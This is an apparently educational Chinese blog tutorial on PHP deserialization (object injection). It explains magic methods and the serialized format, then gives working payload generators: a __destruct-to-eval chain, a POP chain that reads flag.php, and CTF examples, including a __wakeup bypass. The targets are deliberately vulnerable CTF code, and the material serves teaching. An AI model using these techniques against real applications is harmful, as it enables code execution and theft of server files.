序列化反序列化漏洞

发布于 2022-04-08  350 次阅读


概念和基础知识

序列化和反序列化

序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名
反序列化则相反将字符串重新恢复成对象

类型 过程
序列化 对象→字符串
反序列化 字符串→对象

对象的序列化利于对象的 保存和传输 ,也可以让多个文件共享对象

魔术方法

PHP将所有以 __ (两个下划线)开头的类方法保留为魔术方法

__sleep

在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。

__wakeup

在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。

当我们在执行serialize()unserialize()时,会先调用这两个函数。例如我们在序列化一个对象时,这个对象有一个数据库链接,想要在反序列化中恢复链接状态,则可以通过重构这两个函数来实现链接的恢复。例子如下:

<?php
class Connection 
{
    protected $link;
    private $server, $username, $password, $db;

    public function __construct($server, $username, $password, $db)
    {
        $this->server = $server;
        $this->username = $username;
        $this->password = $password;
        $this->db = $db;
        $this->connect();
    }

    private function connect()
    {
        $this->link = mysql_connect($this->server, $this->username, $this->password);
        mysql_select_db($this->db, $this->link);
    }

    public function __sleep()
    {
        return array('server', 'username', 'password', 'db');
    }

    public function __wakeup()
    {
        $this->connect();
    }
}
?>

__toString

__toString() 方法用于定义一个类被当成字符串时该如何处理。

<?php
class TestClass
{
    public $foo;

    public function __construct($foo)                                               
    {
        $this->foo = $foo;
    }

    public function __toString() {
        return $this->foo;
    }
}

$class = new TestClass('Hello');
echo $class;   // 运行结果:Hello
?>

__invoke

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)

<?php
class CallableClass 
{
    function __invoke($x) {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>

__construct

具有 __construct 函数的类会在每次创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作。

__destruct

__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

__set

给不可访问属性赋值时,__set() 会被调用。

__get

读取不可访问属性的值时,__get() 会被调用。

__isset

对不可访问属性调用 isset()empty() 时,__isset() 会被调用。

__unset

对不可访问属性调用 unset() 时,__unset() 会被调用。

__call

在对象中调用一个不可访问方法时,__call() 会被调用。

<?php
class MethodTest{
    public function __call($name, $arguments){
        // Note: value of $name is case sensitive.
        echo "Triggering __call method when calling  method '$name' with arguments '" . implode(', ', $arguments). "'.\n";
    }
}

$obj = new MethodTest;
$obj->callTest('arg1','arg2');

/*运行结果
Triggering __call method when calling  method 'callTest' with arguments 'arg1, arg2'.
*/
?>

__callStatic

在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

<?php
class MethodTest{
    public static function __callStatic($name, $arguments){
        // Note: value of $name is case sensitive.
        echo "Triggering __call method when calling  method '$name' with arguments '" . implode(', ', $arguments). "'.\n";
    }
}

MethodTest::callStaticTest('arg3','arg4');  // As of PHP 5.3.0
/*运行结果
Triggering __call method when calling  method 'callStaticTest' with arguments 'arg3, arg4'.
*/
?>

PHP的序列化

序列化函数serialize()

首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来

<?php 
    class Ctf{ 
        public $flag='flag{****}'; 
        public $name='cxk'; 
        public $age='10'; 
    } 
        $ctfer=new Ctf(); //实例化一个对象 
        $ctfer->flag='flag{adedyui}'; 
        $ctfer->name='Sch0lar'; 
        $ctfer->age='18';
        echo serialize($ctfer); 
?>

输出结果

image-20220408141639156

O代表对象,因为我们序列化的是一个对象;序列化数组的话则用A来表示
3代表类的名字长三个字符
Ctf 是类名
3代表这个类里有三个属性(三个变量)
s代表字符串
4代表属性名的长度
flag是属性名
s:13:"flag{adedyui}" 字符串,属性长度,属性值

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作

可以在__sleep()方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性

示例:

<?php 
    class Ctf{ 
        public $flag='flag{****}'; 
        public $name='cxk'; 
        public $age='10'; 
        public function __sleep(){ 
            return array('flag','age'); 
            } 
        } 
        $ctfer=new Ctf(); 
        $ctfer->flag='flag{abedyui}'; 
        $ctfer->name='Sch0lar'; 
        $ctfer->age='18'; 
        echo serialize($ctfer); 
?>
// 输出结果 O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}

即__sleep()方法使 flag age 属性序列化,而name并没有被序列化

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度属性值会有所不同

public(公有) 
protected(受保护)     // %00*%00属性名
private(私有的)       // %00类名%00属性名

protected属性被序列化的时候属性值会变成%00*%00属性名
private属性被序列化的时候属性值会变成%00类名%00属性名

(%00为空白符,空字符也有长度,一个空字符长度为 1)

示例:

<?php 
    class Ctf{ 
        public $name='Sch0lar'; 
        protected $age='19'; 
        private $flag='get flag'; 
        } 
        $ctfer=new Ctf(); 
        //实例化一个对象 echo serialize($ctfer); 
?> 
//输出结果 O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}

可以看到:

s:6:"*age"   //*前后出现两个空白符,一个空白符长度为1,所以序列化后,该属性长度为6
s:9:"Ctfflag"   //类名Ctf前后出现两个%00空白符,所以长度为9

PHP的反序列化

反序列化函数unserialize()。反序列化就是将一个序列化了的对象或数组字符串,还原回去

<?php 
    class Ctf{ 
        public $flag='flag{****}'; 
        public $name='cxk'; 
        public $age='10'; 
    } 
        $ctfer=new Ctf(); //实例化一个对象 
        $ctfer->flag='flag{adedyui}'; 
        $ctfer->name='Sch0lar'; 
        $ctfer->age='18';
        $str=serialize($ctfer); 
        echo '<pre>'; var_dump(unserialize($str)) 
?> 
//输出结果 
class Ctf#2 (3) {
  public $flag =>
  string(13) "flag{adedyui}"
  public $name =>
  string(7) "Sch0lar"
  public $age =>
  string(2) "18"
}

与序列化函数类似,unserialize()会检查类中是否存在一个__wakeup魔术方法
如果存在则会先调用__wakeup()方法,再进行序列化

可以在__wakeup()方法中对属性进行初始化、赋值或者改变

<?php 
    class Ctf{ 
        public $flag='flag{****}'; 
        public $name='cxk'; 
        public $age='10'; 
        public function __wakeup(){ 
            $this->flag='no flag'; //在反序列化时,flag属性将被改变为“no flag” 
            }
        }
        $ctfer=new Ctf(); //实例化一个对象 
        $ctfer->flag='flag{adedyui}'; 
        $ctfer->name='Sch0lar'; 
        $ctfer->age='18';
        $str=serialize($ctfer); 
        echo '<pre>'; 
        var_dump(unserialize($str)); 
?>

反序列化之前重新给flag属性赋值

class Ctf#2 (3) {
  public $flag =>
  string(7) "no flag"
  public $name =>
  string(7) "Sch0lar"
  public $age =>
  string(2) "18"
}

PHP反序列化漏洞

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

从上面的序列化和反序列化的知识我们可以知道,对象的序列化和反序列化只能是里面的属性,也就是说我们通过篡改反序列化的字符串只能获取或控制其他类的属性,这样一来利用面就很窄,因为属性的值都是已经预先设置好的,如果我们想利用类里面的方法呢?这时候魔法方法就派上用场了,魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的

魔术方法的简单利用

class demo {
    var $test;
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "function action() in class L";
    }
}

class Evil {
    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

首先我们能看到unserialize()函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数__destruct() ,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,接下来让我们看一下怎么利用

我们看到__destruct()里面只用到了一个属性test,再观察一下哪些地方调用了action()函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然在 Evil 这个类中发现他的 action()函数调用了eval(),那我们的想法就很明确了,只需要将demo这个类中的test属性篡改为 Evil这个类的对象,然后为了eval 能执行命令,我们还要篡改Evil对象的test2 属性,将其改成要执行的命令

class demo {
    var $test;
    function __construct(){
        $this->test = new Evil();                     //这里将 L 换成 Evil
        $this->test->test2 = "phpinfo();";            //初始化对象 $test2 值
    }
    function __destruct(){
        $this->test->action();
    }
}
class Evil {
    var $test2;
    function action(){
        eval($this->test2);
    }
}

$demo = new demo();
$data = serialize($demo);
var_dump($data);

以上脚本输出

string(71) "O:4:"demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}"

image-20220408150637166

这样就完成了一个简单的PHP反序列化漏洞的利用

通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者流程

  1. 寻找unserialize()函数的参数是否有我们的可控点;
  2. 寻找我们的反序列化的目标,重点寻找存在 wakeup()destruct() 魔法函数的类;
  3. 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的;
  4. 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击。

PHP反序列化POP链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

POP链demo

<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value) {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show {
    public $source;
    public $str;
    public function __construct($file='index.php') {
        $this->source = $file;
        echo $this->source.' Welcome'."<br>";
    }
    public function __toString() {
        return $this->str['str']->source;
    }

    public function _show() {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }

    public function __wakeup() {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test {
    public $p;
    public function __construct() {
        $this->p = array();
    }

    public function __get($key) {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello'])) {
    unserialize($_GET['hello']);
} else {
    $show = new Show('pop3.php');
    $show->_show();
}

寻找POP链过程:

  1. 首先找到unserialize(),发现里面的参数可控;
  2. 接着寻找能够利用的魔方方法,一般是__wakeup()或者__destruct(),这里发现Show类里面有__wakeup()
  3. __wakeup()里面使用了preg_match()函数对传进去的参数进行字符匹配,这里如果我们传进去的参数是对象的时候,就能够触发__toString()魔法方法;
  4. __toString()方法中试图获取属性$str中的key为str的值,如果我们传进去的$str['str']是一个类对象中不可访问的属性时,就能够触发__get()魔法方法;
  5. 接着寻找有魔法方法__get()的类,发现Test类里面有这个魔法方法;
  6. Test类里面的__get()方法对参数$p作为函数名字进行调用,如果这时候的$p是一个类对象的话,就会触发__invoke()魔法方法;
  7. 寻找存在魔法方法__invoke()的类,发现Read类里面有这个魔法方法;
  8. Read类里面的__invoke()方法会读取参数$var里面的内容,并输出;
class Read {
    public $var = flag.php;
}

class Show {
    public $source;
    public $str;
}

class Test {
    public $p;
}

$r = new Read();
$s = new Show();
$t = new Test();
$t->p = $r;
$s->str['str'] = $t;
$s->source = $s;
echo urlencode(serialize($s));

输出:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D

这里进行URL编码的原因是私有和保护属性会有%00字符,直接输出会显示空格

几个例子

第一个

<?php
include "flag.php";
$unserialize_str = $_POST['data']; 
$data_unserialize = unserialize($unserialize_str); 
if($data_unserialize['user'] == 'admin' && $data_unserialize['pass']=='nicaicaikan') 
{     
     print_r($flag); 
}
else{
    highlight_file("index.php");
} 

payload:

<?php 
    $demo=array(
        "user"=>"admin",
        "pass"=>"nicaicaikan"
    );
    $data = serialize($demo);
    echo $data
?>
//获得序列化字符串
a:2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"nicaicaikan";}

得到flag

image-20220408152139375

第二个

<?php
include "flag.php";
class Index{
    private $name1;
    private $name2;
    protected $age1;
    protected $age2;

    function getflag($flag){
        $name2 = rand(0,999999999); // 定义一个以name2为名的变量,注意与该类的私有属性name2无关
        if($this->name1 === $this->name2){
            // 判断该类的两个私有属性是否全等,先判断类型后判断数值
            $age2 = rand(0,999999999);
            if($this->age1 === $this->age2){
                echo $flag;// 若该类的私有属性全等,保护属性全等,则读取flag.php页面源码
            }
        }
        else{
            echo "nonono";
        }
    }
}
if(isset($_GET['poc'])){
    $a = unserialize($_GET['poc']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?> 

payload:

<?php 
    class Index {
        private $name1='daniel';
        private $name2='daniel';
        protected $age1=22;
        protected $age2=22;
    }

    $index = new Index();
    $data = serialize($index);
    echo $data
?>
//得到序列化字符串
O:5:"Index":4:{s:12:"Indexname1";s:6:"daniel";s:12:"Indexname2";s:6:"daniel";s:7:"*age1";i:22;s:7:"*age2";i:22;}
//但是无法得到结果,原因是私有和保护属性会有`%00`字符,直接输出会显示空格,所以要进行url编码
<?php 
    class Index {
        private $name1='daniel';
        private $name2='daniel';
        protected $age1=22;
        protected $age2=22;
    }

    $index = new Index();
    $data = urlencode(serialize($index));
    echo $data
?>
//得到序列化字符串
O%3A5%3A%22Index%22%3A4%3A%7Bs%3A12%3A%22%00Index%00name1%22%3Bs%3A6%3A%22daniel%22%3Bs%3A12%3A%22%00Index%00name2%22%3Bs%3A6%3A%22daniel%22%3Bs%3A7%3A%22%00%2A%00age1%22%3Bi%3A22%3Bs%3A7%3A%22%00%2A%00age2%22%3Bi%3A22%3B%7D

image-20220408154917374

第三个

<?php

class DemoX{
    protected $user;
    protected $sex;
    function __construct(){ //每次创建新对象时调用
        $this->user = "guest";
        $this->sex = "male";
    }

    function __wakeup(){    //在使用 unserialize() 前调用
        $this->user = "Guest";
        $this->sex = "female";
    }

    function __toString(){  //类被当成字符串时该如何处理
        return "<br>you are " . $this->user . ", your sex is " . $this->sex . "<br>";
    }

    function __destruct()   //在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
    {
        echo $this;
    }
}

class Demo2{
    private $fffl4g;

    function __construct($file){
        $this->fffl4g = $file;
    }

    function __toString(){
        return file_get_contents($this->fffl4g);
    }
}

if(!isset($_GET['poc'])){
    highlight_file("index.php");
}
else{
    $user = unserialize($_GET['poc']);
} 
  1. 反序列化之后会先调用__wakeup,属性值需要自己掌控,需要对__wakeup进行绕过(让属性值大于真实值)
  2. 之后调用__destruct函数,输出$this相当于输出本对象,就是把本对象当作字符串使用,这时调用__tostring函数
  3. __tostring函数有相当于返回输出属性,如果属性是对象会调用该对象的__tostring函数
  4. 第一个类中调用__tostring时,如果将其中一个属性设置为对象则会调用Demo中的__construct后调用__tostring

payload:

<?php

class DemoX{
    protected $user;
    protected $sex;
    function __construct(){ //每次创建新对象时调用
        $this->user = new Demo2('flag.php');
        $this->sex = "xxx";
    }
}

class Demo2{
    private $fffl4g;
    function __construct($file){
        $this->fffl4g = $file;
    }
}
$user = new DemoX();
$user = serialize($user);
echo $user . "<hr>";
echo urlencode($user);
$a = urlencode($user);
?>
//得到序列化字符串(这里是进行绕过__wakeup()之后的)
O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22%3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22xxx%22%3B%7D
Daniel_WRF
最后更新于 2023-09-22